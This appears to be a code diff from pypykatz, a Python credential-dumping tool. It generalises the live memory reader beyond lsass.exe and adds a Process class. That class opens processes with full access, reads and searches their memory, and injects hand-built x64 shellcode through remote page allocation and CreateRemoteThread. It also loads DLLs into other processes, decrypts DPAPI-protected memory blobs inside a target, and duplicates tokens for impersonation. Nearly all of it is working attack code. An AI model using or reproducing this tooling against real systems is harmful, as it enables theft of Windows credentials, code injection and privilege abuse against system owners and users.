118 | for win_path in DEVICE_PREFIXES: | |
119 | if image_filename.startswith(win_path): | |
120 | image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] | |
121 | else: | |
122 | image_filename = 'N/A' | |
123 | return image_filename | |
119 | 124 | |
120 | 125 | PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"] |
121 | PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa", | |
122 | "Windows", "WinTcb", "WinSystem", "StoreApp"] | |
126 | PS_PROTECTED_SIGNER_STRINGS = [ | |
127 | None, "Authenticode", "CodeGen", "Antimalware", "Lsa", | |
128 | "Windows", "WinTcb", "WinSystem", "StoreApp"] | |
123 | 129 | PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"] |
124 | 130 | |
125 | 131 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
149 | 155 | return pid_to_name |
150 | 156 | |
151 | 157 | def get_process_extended_basic_information(pid,process_handle=None): |
152 | process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() | |
153 | process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) | |
154 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
155 | if process_handle == None: | |
156 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
157 | ||
158 | status = _NtQueryInformationProcess(process_handle, | |
159 | ProcessBasicInformation, | |
160 | byref(process_basic_info), | |
161 | process_basic_info.Size, | |
162 | None) | |
163 | if status < 0: | |
164 | raise ctypes.WinError() | |
165 | CloseHandle(process_handle) | |
166 | return process_basic_info | |
158 | process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() | |
159 | process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) | |
160 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
161 | if process_handle == None: | |
162 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
163 | ||
164 | status = _NtQueryInformationProcess(process_handle, | |
165 | ProcessBasicInformation, | |
166 | byref(process_basic_info), | |
167 | process_basic_info.Size, | |
168 | None) | |
169 | if status < 0: | |
170 | raise ctypes.WinError() | |
171 | CloseHandle(process_handle) | |
172 | return process_basic_info | |
167 | 173 | |
168 | 174 | |
169 | 175 | def get_protected_process_infos(pid,process_handle=None): |
170 | process_protection_infos = None | |
171 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
172 | if process_handle == None: | |
173 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
174 | if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: | |
175 | protection_info = PS_PROTECTION() | |
176 | status = _NtQueryInformationProcess(process_handle, | |
177 | ProcessProtectionInformation, | |
178 | byref(protection_info), | |
179 | sizeof(protection_info), | |
180 | None) | |
181 | if status < 0: | |
182 | raise ctypes.WinError() | |
183 | if protection_info.Type > 0: | |
184 | process_protection_infos = {"level": protection_info.Level, | |
185 | "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], | |
186 | "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], | |
187 | "audit": protection_info.Audit} | |
188 | else: | |
189 | _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) | |
190 | if _ps_extended_basic_information.IsProtectedProcess: | |
191 | process_protection_infos = {"type": 'System protected process'} | |
192 | CloseHandle(process_handle) | |
193 | return process_protection_infos | |
176 | process_protection_infos = None | |
177 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
178 | if process_handle == None: | |
179 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
180 | if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: | |
181 | protection_info = PS_PROTECTION() | |
182 | status = _NtQueryInformationProcess(process_handle, | |
183 | ProcessProtectionInformation, | |
184 | byref(protection_info), | |
185 | sizeof(protection_info), | |
186 | None) | |
187 | if status < 0: | |
188 | raise ctypes.WinError() | |
189 | if protection_info.Type > 0: | |
190 | process_protection_infos = {"level": protection_info.Level, | |
191 | "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], | |
192 | "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], | |
193 | "audit": protection_info.Audit} | |
194 | else: | |
195 | _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) | |
196 | if _ps_extended_basic_information.IsProtectedProcess: | |
197 | process_protection_infos = {"type": 'System protected process'} | |
198 | CloseHandle(process_handle) | |
199 | return process_protection_infos | |
194 | 200 | |
195 | 201 | def get_lsass_pid(): |
202 | return pid_for_name('lsass.exe') | |
203 | ||
204 | def pid_for_name(process_name): | |
196 | 205 | pid_to_name = enum_process_names() |
197 | 206 | for pid in pid_to_name: |
198 | if pid_to_name[pid].lower().endswith('lsass.exe'): | |
207 | if pid_to_name[pid].lower().endswith(process_name): | |
199 | 208 | return pid |
200 | 209 | |
201 | raise Exception('Failed to find lsass.exe') | |
210 | raise Exception('Failed to find %s' % process_name) |
33 | 33 | |
34 | 34 | def inrange(self, addr): |
35 | 35 | return self.baseaddress <= addr < self.endaddress |
36 | ||
36 | ||
37 | @staticmethod | |
37 | 38 | def parse(name, module_info, timestamp): |
38 | 39 | m = Module() |
39 | 40 | m.name = name |
57 | 58 | self.EndAddress = None |
58 | 59 | |
59 | 60 | self.data = None |
60 | ||
61 | ||
62 | @staticmethod | |
61 | 63 | def parse(page_info): |
62 | 64 | p = Page() |
63 | 65 | p.BaseAddress = page_info.BaseAddress |
67 | 69 | p.EndAddress = page_info.BaseAddress + page_info.RegionSize |
68 | 70 | return p |
69 | 71 | |
70 | def read_data(self, lsass_process_handle): | |
71 | self.data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize) | |
72 | def read_data(self, process_handle): | |
73 | self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
72 | 74 | |
73 | 75 | def inrange(self, addr): |
74 | 76 | return self.BaseAddress <= addr < self.EndAddress |
75 | 77 | |
76 | def search(self, pattern, lsass_process_handle): | |
78 | def search(self, pattern, process_handle): | |
77 | 79 | if len(pattern) > self.RegionSize: |
78 | 80 | return [] |
79 | data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize) | |
81 | data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
80 | 82 | fl = [] |
81 | 83 | offset = 0 |
82 | 84 | while len(data) > len(pattern): |
115 | 117 | # not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data |
116 | 118 | for page in self.reader.pages: |
117 | 119 | if page.inrange(requested_position): |
118 | page.read_data(self.reader.lsass_process_handle) | |
120 | page.read_data(self.reader.process_handle) | |
119 | 121 | newsegment = copy.deepcopy(page) |
120 | 122 | self.pages.append(newsegment) |
121 | 123 | self.current_segment = newsegment |
264 | 266 | |
265 | 267 | return pos_s[0] |
266 | 268 | |
267 | def find_all_global(self, pattern): | |
269 | def find_all_global(self, pattern, allocationprotect = 0x04): | |
268 | 270 | """ |
269 | 271 | Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins. |
270 | 272 | This is exhaustive! |
271 | 273 | """ |
272 | return self.reader.search(pattern) | |
274 | return self.reader.search(pattern, allocationprotect = allocationprotect) | |
273 | 275 | |
274 | 276 | def get_ptr(self, pos): |
275 | 277 | self.move(pos) |
292 | 294 | |
293 | 295 | |
294 | 296 | class LiveReader: |
295 | def __init__(self, lsass_process_handle = None): | |
297 | def __init__(self, process_handle = None, process_name='lsass.exe', process_pid = None): | |
296 | 298 | self.processor_architecture = None |
297 | self.lsass_process_name = 'lsass.exe' | |
298 | self.lsass_process_handle = lsass_process_handle | |
299 | self.process_name = process_name | |
300 | self.process_handle = process_handle | |
301 | self.process_pid = process_pid | |
299 | 302 | self.current_position = None |
300 | 303 | self.BuildNumber = None |
301 | 304 | self.modules = [] |
320 | 323 | |
321 | 324 | if is_windows_64 != is_python_64: |
322 | 325 | raise Exception('Python interpreter must be the same architecure of the OS you are running it on.') |
323 | ||
324 | ||
325 | ||
326 | ||
327 | 326 | |
328 | 327 | def setup(self): |
329 | 328 | logging.log(1, 'Enabling debug privilege') |
338 | 337 | buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') |
339 | 338 | self.BuildNumber = int(buildnumber) |
340 | 339 | |
341 | if self.lsass_process_handle is None: | |
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Checking Lsass.exe protection status') | |
346 | #proc_protection_info = get_protected_process_infos(pid) | |
347 | #protection_msg = "Protection Status: No protection" | |
348 | #if proc_protection_info: | |
349 | # protection_msg = f"Protection Status: {proc_protection_info['type']}" | |
350 | # if 'signer' in proc_protection_info: | |
351 | # protection_msg += f" ({proc_protection_info['signer']})" | |
352 | # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) | |
353 | #logging.log(1, protection_msg) | |
354 | logging.log(1, 'Opening lsass.exe') | |
355 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
356 | if self.lsass_process_handle is None: | |
340 | if self.process_handle is None: | |
341 | if self.process_pid is None: | |
342 | if self.process_name is None: | |
343 | raise Exception('Process name or PID or opened handle must be provided') | |
344 | ||
345 | logging.log(1, 'Searching for lsass.exe') | |
346 | self.process_pid = pid_for_name(self.process_name) | |
347 | logging.log(1, '%s found at PID %d' % (self.process_name, self.process_pid)) | |
348 | logging.log(1, 'Checking Lsass.exe protection status') | |
349 | #proc_protection_info = get_protected_process_infos(pid) | |
350 | #protection_msg = "Protection Status: No protection" | |
351 | #if proc_protection_info: | |
352 | # protection_msg = f"Protection Status: {proc_protection_info['type']}" | |
353 | # if 'signer' in proc_protection_info: | |
354 | # protection_msg += f" ({proc_protection_info['signer']})" | |
355 | # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) | |
356 | #logging.log(1, protection_msg) | |
357 | logging.log(1, 'Opening %s' % self.process_name) | |
358 | self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid) | |
359 | if self.process_handle is None: | |
357 | 360 | raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError()) |
358 | 361 | else: |
359 | 362 | logging.debug('Using pre-defined handle') |
360 | 363 | logging.log(1, 'Enumerating modules') |
361 | module_handles = EnumProcessModules(self.lsass_process_handle) | |
364 | module_handles = EnumProcessModules(self.process_handle) | |
362 | 365 | for module_handle in module_handles: |
363 | 366 | |
364 | module_file_path = GetModuleFileNameExW(self.lsass_process_handle, module_handle) | |
367 | module_file_path = GetModuleFileNameExW(self.process_handle, module_handle) | |
365 | 368 | logging.log(1, module_file_path) |
366 | 369 | timestamp = 0 |
367 | 370 | if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': |
368 | 371 | timestamp = int(os.stat(module_file_path).st_ctime) |
369 | 372 | self.msv_dll_timestamp = timestamp |
370 | modinfo = GetModuleInformation(self.lsass_process_handle, module_handle) | |
373 | modinfo = GetModuleInformation(self.process_handle, module_handle) | |
371 | 374 | self.modules.append(Module.parse(module_file_path, modinfo, timestamp)) |
372 | 375 | |
373 | 376 | logging.log(1, 'Found %d modules' % len(self.modules)) |
374 | 377 | |
375 | 378 | current_address = sysinfo.lpMinimumApplicationAddress |
376 | 379 | while current_address < sysinfo.lpMaximumApplicationAddress: |
377 | page_info = VirtualQueryEx(self.lsass_process_handle, current_address) | |
380 | page_info = VirtualQueryEx(self.process_handle, current_address) | |
378 | 381 | self.pages.append(Page.parse(page_info)) |
379 | 382 | |
380 | 383 | current_address += page_info.RegionSize |
383 | 386 | |
384 | 387 | |
385 | 388 | for page in self.pages: |
386 | #self.log(str(page)) | |
387 | ||
388 | 389 | for mod in self.modules: |
389 | 390 | if mod.inrange(page.BaseAddress) == True: |
390 | 391 | mod.pages.append(page) |
391 | ||
392 | #for mod in self.modules: | |
393 | # self.log('%s %d' % (mod.name, len(mod.pages))) | |
394 | 392 | |
395 | 393 | def get_buffered_reader(self): |
396 | 394 | return BufferedLiveReader(self) |
407 | 405 | raise Exception('Could not find module! %s' % module_name) |
408 | 406 | needles = [] |
409 | 407 | for page in mod.pages: |
410 | needles += page.search(pattern, self.lsass_process_handle) | |
408 | needles += page.search(pattern, self.process_handle) | |
411 | 409 | if len(needles) > 0 and find_first is True: |
412 | 410 | return needles |
413 | 411 | |
414 | 412 | return needles |
413 | ||
414 | def search(self, pattern, allocationprotect = 0x04): | |
415 | t = [] | |
416 | for page in self.pages: | |
417 | if page.AllocationProtect & allocationprotect: | |
418 | t += page.search(pattern, self.process_handle) | |
419 | return t | |
415 | 420 | |
416 | 421 | if __name__ == '__main__': |
417 | 422 | logging.basicConfig(level=1) |
0 | from .common.version import * | |
1 | from .common.live_reader_ctypes import * | |
2 | from pypykatz.commons.winapi.local.function_defs.kernel32 import LoadLibraryW, GetProcAddressW, VirtualProtectEx, VirtualAllocEx, VirtualFreeEx, CreateRemoteThread | |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import OpenProcessToken, DuplicateTokenEx | |
4 | from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE | |
5 | import ntpath | |
6 | import os | |
7 | import math | |
8 | ||
9 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 | |
10 | ||
11 | # Token access rights | |
12 | TOKEN_ASSIGN_PRIMARY = 0x0001 | |
13 | TOKEN_DUPLICATE = 0x0002 | |
14 | TOKEN_IMPERSONATE = 0x0004 | |
15 | TOKEN_QUERY = 0x0008 | |
16 | TOKEN_QUERY_SOURCE = 0x0010 | |
17 | TOKEN_ADJUST_PRIVILEGES = 0x0020 | |
18 | TOKEN_ADJUST_GROUPS = 0x0040 | |
19 | TOKEN_ADJUST_DEFAULT = 0x0080 | |
20 | TOKEN_ADJUST_SESSIONID = 0x0100 | |
21 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) | |
22 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | | |
23 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | | |
24 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | | |
25 | TOKEN_ADJUST_SESSIONID) | |
26 | ||
27 | SecurityAnonymous = 0 | |
28 | SecurityIdentification = 1 | |
29 | SecurityImpersonation = 2 | |
30 | SecurityDelegation = 3 | |
31 | ||
32 | TokenPrimary = 1 | |
33 | TokenImpersonation = 2 | |
34 | ||
35 | #dont ask me... | |
36 | #TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4)) | |
37 | ||
38 | class Module: | |
39 | def __init__(self): | |
40 | self.name = None | |
41 | self.baseaddress = None | |
42 | self.size = None | |
43 | self.endaddress = None | |
44 | self.pages = [] | |
45 | ||
46 | self.versioninfo = None | |
47 | self.checksum = None | |
48 | self.timestamp = None | |
49 | ||
50 | def inrange(self, addr): | |
51 | return self.baseaddress <= addr < self.endaddress | |
52 | ||
53 | @staticmethod | |
54 | def parse(name, module_info, timestamp): | |
55 | m = Module() | |
56 | m.name = name | |
57 | m.baseaddress = module_info.lpBaseOfDll | |
58 | m.size = module_info.SizeOfImage | |
59 | m.endaddress = m.baseaddress + m.size | |
60 | ||
61 | m.timestamp = timestamp | |
62 | ||
63 | return m | |
64 | ||
65 | def __str__(self): | |
66 | return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp ) | |
67 | ||
68 | class Page: | |
69 | def __init__(self): | |
70 | self.BaseAddress = None | |
71 | self.AllocationBase = None | |
72 | self.AllocationProtect = None | |
73 | self.RegionSize = None | |
74 | self.EndAddress = None | |
75 | ||
76 | self.data = None | |
77 | ||
78 | @staticmethod | |
79 | def parse(page_info): | |
80 | p = Page() | |
81 | p.BaseAddress = page_info.BaseAddress | |
82 | p.AllocationBase = page_info.AllocationBase | |
83 | p.AllocationProtect = page_info.AllocationProtect | |
84 | p.RegionSize = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search | |
85 | p.EndAddress = page_info.BaseAddress + page_info.RegionSize | |
86 | return p | |
87 | ||
88 | def read_data(self, process_handle): | |
89 | self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
90 | ||
91 | def inrange(self, addr): | |
92 | return self.BaseAddress <= addr < self.EndAddress | |
93 | ||
94 | def search(self, pattern, process_handle): | |
95 | if len(pattern) > self.RegionSize: | |
96 | return [] | |
97 | data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize) | |
98 | fl = [] | |
99 | offset = 0 | |
100 | while len(data) > len(pattern): | |
101 | marker = data.find(pattern) | |
102 | if marker == -1: | |
103 | return fl | |
104 | fl.append(marker + offset + self.BaseAddress) | |
105 | data = data[marker+1:] | |
106 | ||
107 | ||
108 | class Process: | |
109 | def __init__(self, pid = None, name = None, access = PROCESS_ALL_ACCESS, open = True): | |
110 | self.pid = pid | |
111 | self.name = name | |
112 | self.access = access | |
113 | ||
114 | ||
115 | self.sysinfo = None | |
116 | self.processor_architecture = None | |
117 | ||
118 | ||
119 | self.phandle = None | |
120 | self.modules = [] | |
121 | self.pages = [] | |
122 | ||
123 | if open is True: | |
124 | self.open() | |
125 | ||
126 | def open(self): | |
127 | self.sysinfo = GetSystemInfo() | |
128 | self.processor_architecture = PROCESSOR_ARCHITECTURE(self.sysinfo.id.w.wProcessorArchitecture) | |
129 | if self.phandle is None: | |
130 | if self.pid is None: | |
131 | if self.name is None: | |
132 | raise Exception('Process name or PID or opened handle must be provided') | |
133 | ||
134 | self.pid = pid_for_name(self.name) | |
135 | ||
136 | self.phandle = OpenProcess(self.access, False, self.pid) | |
137 | if self.phandle is None: | |
138 | raise Exception('Failed to open %s(%s) Reason: %s' % (ctypes.WinError(), self.name, self.pid)) | |
139 | ||
140 | def list_modules(self): | |
141 | self.modules = [] | |
142 | module_handles = EnumProcessModules(self.phandle) | |
143 | for module_handle in module_handles: | |
144 | module_file_path = GetModuleFileNameExW(self.phandle, module_handle) | |
145 | logging.log(1, module_file_path) | |
146 | timestamp = 0 | |
147 | if ntpath.basename(module_file_path).lower() == 'msv1_0.dll': | |
148 | timestamp = int(os.stat(module_file_path).st_ctime) | |
149 | self.msv_dll_timestamp = timestamp | |
150 | modinfo = GetModuleInformation(self.phandle, module_handle) | |
151 | self.modules.append(Module.parse(module_file_path, modinfo, timestamp)) | |
152 | return self.modules | |
153 | ||
154 | def list_pages(self): | |
155 | self.pages = [] | |
156 | current_address = self.sysinfo.lpMinimumApplicationAddress | |
157 | while current_address < self.sysinfo.lpMaximumApplicationAddress: | |
158 | page_info = VirtualQueryEx(self.phandle, current_address) | |
159 | self.pages.append(Page.parse(page_info)) | |
160 | ||
161 | current_address += page_info.RegionSize | |
162 | ||
163 | def page_find_for_addr(self, addr): | |
164 | self.list_pages() | |
165 | selected_page = None | |
166 | for page in self.pages: | |
167 | if page.inrange(addr): | |
168 | selected_page = page | |
169 | if selected_page is None: | |
170 | raise Exception('Address not found in pages!') | |
171 | return selected_page | |
172 | ||
173 | def page_change_protect(self, addr, flags = PAGE_EXECUTE_READWRITE): | |
174 | selected_page = self.page_find_for_addr(addr) | |
175 | return VirtualProtectEx(self.phandle, selected_page.BaseAddress, selected_page.RegionSize, flags) | |
176 | ||
177 | def page_alloc(self, size, addr = 0, allocation_type = MEM_COMMIT | MEM_RESERVE, allocation_protect = PAGE_EXECUTE_READWRITE): | |
178 | return VirtualAllocEx(self.phandle, lpAddress = addr, dwSize = size, flAllocationType = allocation_type, flProtect = allocation_protect) | |
179 | ||
180 | def page_free(self, addr, free_type = MEM_RELEASE): | |
181 | selected_page = self.page_find_for_addr(addr) | |
182 | dwsize = 0 if free_type == MEM_RELEASE else selected_page.RegionSize | |
183 | return VirtualFreeEx(self.phandle, selected_page.BaseAddress, dwsize, dwFreeType = free_type) | |
184 | ||
185 | def read(self, pos, amount): | |
186 | return ReadProcessMemory(self.phandle, pos, amount) | |
187 | ||
188 | def write(self, pos, buffer): | |
189 | return WriteProcessMemory(self.phandle, pos, buffer) | |
190 | ||
191 | def create_thread(self, start_addr): | |
192 | return CreateRemoteThread(self.phandle, None, 0, start_addr, None, 0) | |
193 | ||
194 | def find_module_by_name(self, module_name): | |
195 | if len(self.modules) == 0: | |
196 | self.list_modules() | |
197 | for module in self.modules: | |
198 | #print(module.name) | |
199 | if module.name.lower().find(module_name.lower()) != -1: | |
200 | #print('Found remote DLL!') | |
201 | return module | |
202 | ||
203 | def get_remote_function_addr(self, dll_name, function_name, force_load = False): | |
204 | module_handle = LoadLibraryW(dll_name) | |
205 | #print(module_handle) | |
206 | function_addr_total = GetProcAddressW(module_handle, function_name) | |
207 | #print('function_addr %s' % hex(function_addr_total)) | |
208 | ||
209 | modinfo = GetModuleInformation(GetCurrentProcess(), module_handle) | |
210 | module = Module.parse(dll_name, modinfo, None) | |
211 | function_addr_offset = module.baseaddress - function_addr_total | |
212 | ||
213 | #print('function_addr_offset %s' % hex(function_addr_offset)) | |
214 | ||
215 | module = self.find_module_by_name(dll_name) | |
216 | if module is None: | |
217 | if force_load is True: | |
218 | self.load_dll(dll_name) | |
219 | self.list_modules() | |
220 | module = self.find_module_by_name(dll_name) | |
221 | if module is None: | |
222 | return None | |
223 | ||
224 | return module.baseaddress - function_addr_offset | |
225 | ||
226 | @staticmethod | |
227 | def int_to_asm(x, bitsize = 64): | |
228 | return x.to_bytes(bitsize//8, byteorder = 'little', signed = False) | |
229 | ||
230 | def invoke_remote_function(self, enclave, fnc_addr, p1_addr, p2_addr, p3_addr, exitthread_addr): | |
231 | #https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160 | |
232 | #https://defuse.ca/online-x86-assembler.htm#disassembly | |
233 | ||
234 | ||
235 | ||
236 | #p1_addr = 0 | |
237 | #p2_addr = 0 | |
238 | #p3_addr = 0 | |
239 | #fnc_addr = 0 | |
240 | ||
241 | #first_param | |
242 | p1 = b'\x48\xb9' + Process.int_to_asm(p1_addr) # MOVABS RCX,<ADDR> | |
243 | #second_param | |
244 | p2 = b'\x48\xba' + Process.int_to_asm(p2_addr) # MOVABS RDX,<ADDR> | |
245 | #third_param | |
246 | p3 = b'\x49\xb8' + Process.int_to_asm(p3_addr) # MOVABS R8,<ADDR> | |
247 | #load function address to RAX | |
248 | fnc = b'\x48\xb8' + Process.int_to_asm(fnc_addr) # MOVABS RAX,<ADDR> | |
249 | #CALL function address (in RAX) | |
250 | call_fnc = b'\xff\xd0' # CALL RAX | |
251 | ||
252 | exit_code_set = b'\x48\x89\xC1' # mov rcx, rax | |
253 | thread_exit_fnc = b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR> | |
254 | #CALL function address (in RAX) | |
255 | call_thread_exit_fnc = b'\xff\xd0' # CALL RAX | |
256 | ||
257 | code = p3 + p2 + p1 + fnc + call_fnc + exit_code_set + thread_exit_fnc + call_thread_exit_fnc | |
258 | #print('code: %s' % code.hex()) | |
259 | self.write(enclave, code) | |
260 | #input() | |
261 | ||
262 | thread_handle, thread_id = self.create_thread(enclave) | |
263 | #print(thread_handle) | |
264 | thread_exit = GetExitCodeThread(thread_handle) | |
265 | #print(thread_exit) | |
266 | ||
267 | def load_dll(self, dll_path): | |
268 | if dll_path[-1] != '\x00': | |
269 | dll_path += '\x00' | |
270 | ||
271 | loadlibrary_addr = self.get_remote_function_addr("Kernel32.dll", "LoadLibraryW") | |
272 | exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread") | |
273 | ||
274 | ||
275 | code_cave = self.page_alloc(2048) | |
276 | dllname_page = self.page_alloc(2048) | |
277 | self.write(dllname_page, dll_path.encode('utf-16-le')) | |
278 | ||
279 | code = b'' | |
280 | code += b'\x48\xb9' + Process.int_to_asm(dllname_page) # MOVABS RCX,<ADDR> | |
281 | code += b'\x48\xb8' + Process.int_to_asm(loadlibrary_addr) # MOVABS RAX,<ADDR> | |
282 | code += b'\xff\xd0' # CALL RAX | |
283 | code += b'' | |
284 | code += b'\x48\x89\xC1' # mov rcx, rax | |
285 | code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR> | |
286 | code += b'\xff\xd0' # CALL RAX | |
287 | ||
288 | self.write(code_cave, code) | |
289 | thread_handle, thread_id = self.create_thread(code_cave) | |
290 | WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish... | |
291 | ||
292 | self.page_free(code_cave) | |
293 | ||
294 | ||
295 | def dpapi_memory_unprotect(self, protected_blob_addr, protected_blob_size, flags = 0): | |
296 | protected_blob_size = 16 * math.ceil(protected_blob_size/16) | |
297 | return self.dpapi_memory_unprotect_x64(protected_blob_addr, protected_blob_size, flags) | |
298 | ||
299 | def dpapi_memory_unprotect_x64(self, protected_blob_addr, protected_blob_size, flags = 0): | |
300 | # https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectmemory | |
301 | #CRYPTPROTECTMEMORY_SAME_PROCESS 0 | |
302 | #CRYPTPROTECTMEMORY_CROSS_PROCESS 1 | |
303 | #CRYPTPROTECTMEMORY_SAME_LOGON 2 | |
304 | ||
305 | ||
306 | #finding remote function addresses | |
307 | protectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptProtectMemory", True) | |
308 | unprotectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory", True) | |
309 | exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread") | |
310 | copymemory_addr = self.get_remote_function_addr("NtDll.dll", "RtlCopyMemory") | |
311 | #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr)) | |
312 | #print('exitthread_addr %s' % hex(exitthread_addr)) | |
313 | #print('copymemory_addr %s' % hex(copymemory_addr)) | |
314 | ||
315 | ||
316 | # allocating memory in remote process | |
317 | code_cave = self.page_alloc(1024) | |
318 | result_cave = self.page_alloc(protected_blob_size*10) | |
319 | #print('code_cave : %s' % hex(code_cave)) | |
320 | #print('result_cave : %s' % hex(result_cave)) | |
321 | ||
322 | ||
323 | #building code | |
324 | code = b'' | |
325 | code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR> | |
326 | code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR> | |
327 | code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR> | |
328 | code += b'\x48\xb8' + Process.int_to_asm(unprotectmemory_addr) # MOVABS RAX,<ADDR> | |
329 | code += b'\xff\xd0' # CALL RAX | |
330 | code += b'' | |
331 | code += b'\x48\xb9' + Process.int_to_asm(result_cave) # MOVABS RCX,<ADDR> | |
332 | code += b'\x48\xba' + Process.int_to_asm(protected_blob_addr) # MOVABS RDX,<ADDR> | |
333 | code += b'\x49\xb8' + Process.int_to_asm(protected_blob_size) # MOVABS R8,<ADDR> | |
334 | code += b'\x48\xb8' + Process.int_to_asm(copymemory_addr) # MOVABS RAX,<ADDR> | |
335 | code += b'\xff\xd0' # CALL RAX | |
336 | code += b'' | |
337 | code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR> | |
338 | code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR> | |
339 | code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR> | |
340 | code += b'\x48\xb8' + Process.int_to_asm(protectmemory_addr) # MOVABS RAX,<ADDR> | |
341 | code += b'\xff\xd0' # CALL RAX | |
342 | code += b'' | |
343 | code += b'\x48\x89\xC1' # mov rcx, rax | |
344 | code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR> | |
345 | code += b'\xff\xd0' # CALL RAX | |
346 | ||
347 | ||
348 | #print('code: %s' % code.hex()) | |
349 | self.write(code_cave, code) | |
350 | ||
351 | thread_handle, thread_id = self.create_thread(code_cave) | |
352 | WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish... | |
353 | thread_exit_code = GetExitCodeThread(thread_handle) | |
354 | #print(thread_exit_code) | |
355 | ||
356 | result = self.read(result_cave, protected_blob_size) | |
357 | ||
358 | self.page_free(code_cave) | |
359 | self.page_free(result_cave) | |
360 | return result | |
361 | ||
362 | def get_process_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS): | |
363 | return OpenProcessToken(self.phandle, dwDesiredAccess) | |
364 | ||
365 | def duplicate_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = 2): | |
366 | #proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) | |
367 | token_handle = OpenProcessToken(self.phandle, TOKEN_DUPLICATE) | |
368 | cloned_token = DuplicateTokenEx( | |
369 | token_handle, | |
370 | dwDesiredAccess = dwDesiredAccess, | |
371 | ImpersonationLevel = ImpersonationLevel, | |
372 | TokenType = TokenType | |
373 | ) | |
374 | CloseHandle(token_handle) | |
375 | return cloned_token | |
376 | if __name__ == '__main__': | |
377 | calc = Process(pid=16236) | |
378 | calc.list_pages() | |
379 | calc.list_modules() | |
380 | print(1) | |
